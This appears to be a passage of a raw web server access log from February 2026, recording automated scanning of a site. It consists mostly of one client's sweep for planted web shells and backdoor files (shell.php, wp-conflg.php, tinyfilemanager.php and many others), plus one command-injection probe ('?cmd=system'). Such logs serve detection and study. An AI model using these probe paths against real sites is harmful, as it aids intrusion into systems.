x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 79.127.132.203 - - [25/Feb/2026:01:46:59 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 12_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36 Vivaldi/5.3.2679.68" 43.155.162.41 - - [25/Feb/2026:01:30:38 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 165.232.153.50 - - [25/Feb/2026:01:32:39 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 43.157.150.69 - - [25/Feb/2026:00:38:06 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 34.142.251.255 - - [25/Feb/2026:02:24:45 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 17.241.227.14 - - [25/Feb/2026:03:22:47 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4 Safari/605.1.15 (Applebot/0.1; +http://www.apple.com/go/applebot)" 199.45.155.103 - - [25/Feb/2026:03:10:41 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 167.88.165.179 - - [25/Feb/2026:03:57:45 +0300] "GET /unzipper.php HTTP/1.1" 301 795 "-" "Python-urllib/2.7" 182.42.111.156 - - [25/Feb/2026:03:44:48 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 98.93.175.197 - - [25/Feb/2026:05:40:13 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (WordPress CMS Scanner)" 167.88.165.179 - - [25/Feb/2026:05:01:52 +0300] "GET /unzip.php HTTP/1.1" 301 795 "-" "Python-urllib/2.7" 120.198.141.80 - - [25/Feb/2026:05:39:23 +0300] "GET /wp-json/wp/v2/posts HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 45.94.31.242 - - [25/Feb/2026:07:13:40 +0300] "GET /txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 45.94.31.242 - - [25/Feb/2026:07:13:40 +0300] "GET /wp-includes/widgets/txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 85.203.23.95 - - [25/Feb/2026:07:20:31 +0300] "GET /wp-confiq.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:20:35 +0300] "GET /nrhogjyecktixbal0fnt5Cakc.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:20:39 +0300] "GET /manager.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:20:44 +0300] "GET /znv3hcxz6mwjdz1jwxrxiCakc.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:20:48 +0300] "GET /ioxi-o.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:20:53 +0300] "GET /form.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:20:57 +0300] "GET /wp-links-opml.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:21:00 +0300] "GET /new4.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:21:02 +0300] "GET /abcd.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:21:08 +0300] "GET /uk5pqv0wksbuaourleCakc.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:21:12 +0300] "GET /aa.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:21:16 +0300] "GET /wp-content/uploads/admin.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:21:20 +0300] "GET /wp-admin/shell.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:21:23 +0300] "GET /new.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:21:27 +0300] "GET /themes.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:21:29 +0300] "GET /test1.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:21:33 +0300] "GET /nc4.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:21:37 +0300] "GET /num.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:21:40 +0300] "GET /admin.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:21:45 +0300] "GET /wp-admin/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:21:50 +0300] "GET /wp-content/plugins/aatdgetgdg/main.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:21:53 +0300] "GET /wp-content/plugins/pwnd/pwnd.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:21:58 +0300] "GET /filemanager.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:22:00 +0300] "GET /wp-admin/network/cache/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:22:04 +0300] "GET /inputs.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:22:08 +0300] "GET /upload/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:22:11 +0300] "GET /ioxi-o.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:22:16 +0300] "GET /file.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:22:19 +0300] "GET /wp-content/uploads/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:22:20 +0300] "GET /wp-content/admin.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:22:24 +0300] "GET /wp-admin/network/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:22:29 +0300] "GET /wp-content/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:22:30 +0300] "GET /5PJcpMFsD8B.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:22:34 +0300] "GET /abcd.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:22:36 +0300] "GET /wp-admin/css/colors/blue/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:22:37 +0300] "GET /wp-admin/css.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:22:40 +0300] "GET /wp-good.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:22:43 +0300] "GET /wp-content/lock360.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:22:47 +0300] "GET /wp-includes/themes.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:22:49 +0300] "GET /wp-content/updates.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:22:53 +0300] "GET /wp-content/plugins/so-pinyin-slugs/inc/main_json.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:22:55 +0300] "GET /wp-content/plugins/revslider/includes/external/page/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:22:58 +0300] "GET /wp-includes/blocks/code/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:22:58 +0300] "GET /3PJcpMFsD8B.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:23:01 +0300] "GET /wp-admin/js/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:23:02 +0300] "GET /class.api.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:23:06 +0300] "GET /about.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:23:09 +0300] "GET /bless.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:23:13 +0300] "GET /wp-includes/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:23:14 +0300] "GET /index/function.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:23:16 +0300] "GET /wp-config-sample.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:23:17 +0300] "GET /k.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:23:21 +0300] "GET /wp-content/themes/admin.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:23:25 +0300] "GET /fm.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:23:27 +0300] "GET /wp-content/languages/plugins/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:23:30 +0300] "GET /autoload_classmap/function.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:23:32 +0300] "GET /wp-json/wp/v2/posts?cmd=system HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:23:35 +0300] "GET /wp-admin/js/widgets/admin.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:23:38 +0300] "GET /classwithtostring.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:23:41 +0300] "GET /wp-includes/ID3/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:23:42 +0300] "GET /test.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:23:44 +0300] "GET /wp.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:23:47 +0300] "GET /wp-includes/block-bindings/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:23:47 +0300] "GET /adminfuns.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:23:50 +0300] "GET /wp-content/plugins/shell/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:23:52 +0300] "GET /wp-includes/css/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:23:53 +0300] "GET /wp-content/themes/news-portal/fm.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:23:55 +0300] "GET /wp-includes/admin.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:23:58 +0300] "GET /shell.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:24:03 +0300] "GET /system.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:24:05 +0300] "GET /mah.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:24:08 +0300] "GET /wp-content/themes/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:24:08 +0300] "GET /network_xo.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:24:12 +0300] "GET /simple.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:24:17 +0300] "GET /m.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:24:21 +0300] "GET /bolt.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:24:26 +0300] "GET /wp-content/themes/wp-conflg.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:24:30 +0300] "GET /wp-content/themes/chosen.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:24:32 +0300] "GET /wp-admin/classwithtostring.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:24:35 +0300] "GET /function/function.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:24:37 +0300] "GET /buy.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:24:40 +0300] "GET /wp-includes/Text/Diff/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:24:41 +0300] "GET /wp-content/areak1.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:24:43 +0300] "GET /wp-admin/maint/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:24:44 +0300] "GET /ufbngowues/main.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:24:47 +0300] "GET /shell3.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:24:50 +0300] "GET /wp-content/plugins/elementor/includes/template-singl-portfolio.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:24:54 +0300] "GET /radio.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:24:57 +0300] "GET /wp-content/wp-conflg.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:25:01 +0300] "GET /222.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:25:05 +0300] "GET /wp-includes/blocks/audio/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:25:05 +0300] "GET /worksec.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:25:10 +0300] "GET /info.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:25:13 +0300] "GET /we.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:25:16 +0300] "GET /wp-signin.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:25:20 +0300] "GET /wp-includes/Requests/library/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:25:21 +0300] "GET /wp-content/admin-header.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:25:24 +0300] "GET /wp-content/about.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:25:27 +0300] "GET /wp-includes/assets/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:25:27 +0300] "GET /wp-content/222.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:25:30 +0300] "GET /s.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:25:32 +0300] "GET /wp-conflg.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:25:34 +0300] "GET /system_log.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:25:37 +0300] "GET /item.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:25:40 +0300] "GET /wp-includes/blocks/post-terms/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:25:40 +0300] "GET /wp-content/languages/themes/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:25:43 +0300] "GET /wp-includes/css/dist/block-library/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:25:44 +0300] "GET /wp-includes/css/dist/components/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:25:44 +0300] "GET /wp-admin/includes/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:25:45 +0300] "GET /wp-content/packed.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:25:47 +0300] "GET /wp-content/themes/news-portal/error.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:25:50 +0300] "GET /wp-content/themes/404.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:25:52 +0300] "GET /wp-includes/blocks/comment-content/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:25:52 +0300] "GET /wp-admin/css/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:25:53 +0300] "GET /1.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:25:56 +0300] "GET /a.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:25:59 +0300] "GET /wp-content/plugins/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:25:59 +0300] "GET /wp-includes/theme-compat/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:26:00 +0300] "GET /hplfuns.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:26:05 +0300] "GET /wp-content/languages/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:26:09 +0300] "GET /x.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:26:11 +0300] "GET /wp-includes/js/jcrop/Jcrop.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:26:14 +0300] "GET /about/function.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:26:17 +0300] "GET /wp-includes/blocks/search/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:26:17 +0300] "GET /wp-includes/Text/Diff/Engine/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:26:18 +0300] "GET /wp-content/plugins/Iitespeed-cache/157.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:26:20 +0300] "GET /wp-includes/certificates/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:26:20 +0300] "GET /wp-admin/js/widgets/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:26:21 +0300] "GET /wp-content/uploads/2024/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:26:21 +0300] "GET /wp-includes/Text/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:26:21 +0300] "GET /cgi-bin/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:26:22 +0300] "GET /wp-admin/images/admin.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:26:25 +0300] "GET /wp-content/themes/theme-check/main.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:26:28 +0300] "GET /chosen.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:26:30 +0300] "GET /wp-includes/assets/chosen.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:26:35 +0300] "GET /wp-includes/blocks/archives/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:26:36 +0300] "GET /wp-includes/blocks/nextpage/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:26:37 +0300] "GET /wp-includes/rest-api/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:26:37 +0300] "GET /wp-includes/blocks/column/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:26:37 +0300] "GET /wp-includes/blocks/calendar/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:26:38 +0300] "GET /wp-includes/widgets/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:26:38 +0300] "GET /wp-admin/css/colors/sunrise/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:26:39 +0300] "GET /wp-includes/css/dist/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:26:39 +0300] "GET / HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:26:40 +0300] "GET /default.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:26:43 +0300] "GET /wp-content/plugins/admin.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:26:48 +0300] "GET /wp-includes/css/dist/block-directory/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:26:48 +0300] "GET /wp-includes/fonts/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:26:49 +0300] "GET /wp-content/plugins/phpad/as.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:26:52 +0300] "GET /wp-admin/user/wp-conflg.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:26:56 +0300] "GET /wp-content.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:27:01 +0300] "GET /wp-content/uploads/elementor/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:27:01 +0300] "GET /wp-content/themes/about.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:27:04 +0300] "GET /wp-content/classwithtostring.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:27:09 +0300] "GET /wp-includes/sodium_compat/lib/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:27:10 +0300] "GET /wp-file.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:27:13 +0300] "GET /wp-admin/images/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:27:14 +0300] "GET /wp-includes/rest-api/fields/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:27:14 +0300] "GET /tinyfilemanager.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:27:16 +0300] "GET /wp-content/uploads/chosen.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:27:19 +0300] "GET /wp-content/themes/covr-wpcom/assets/fonts/manrope_normal.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:27:24 +0300] "GET /wp-includes/IXR/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:27:25 +0300] "GET /wp-includes/sitemaps/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:27:25 +0300] "GET /wp-domain.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:27:29 +0300] "GET /wp-admin/admin-wolf.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:27:31 +0300] "GET /wp-includes/customize/autoload_classmap.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:27:35 +0300] "GET /wp-includes/wp-conflg.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:27:38 +0300] "GET /admin/function.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:27:42 +0300] "GET /wp-content/themes/twentytwentyfive/styles/typography/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:27:43 +0300] "GET /wp-includes/js/imgareaselect/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:27:43 +0300] "GET /wp-content/uploads/wpforms/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:27:44 +0300] "GET /wp-content/plugins/twenty/function.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:27:47 +0300] "GET /av.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:27:49 +0300] "GET /wp-content/cache/et/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:27:52 +0300] "GET /wp-content/themes/twentytwenty/assets/fonts/inter/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:27:54 +0300] "GET /wp-includes/SimplePie/wp-conflg.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:27:57 +0300] "GET /404.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:28:01 +0300] "GET /wp-includes/widgets/chosen.php HTTP/1.1" 301 795 "-" 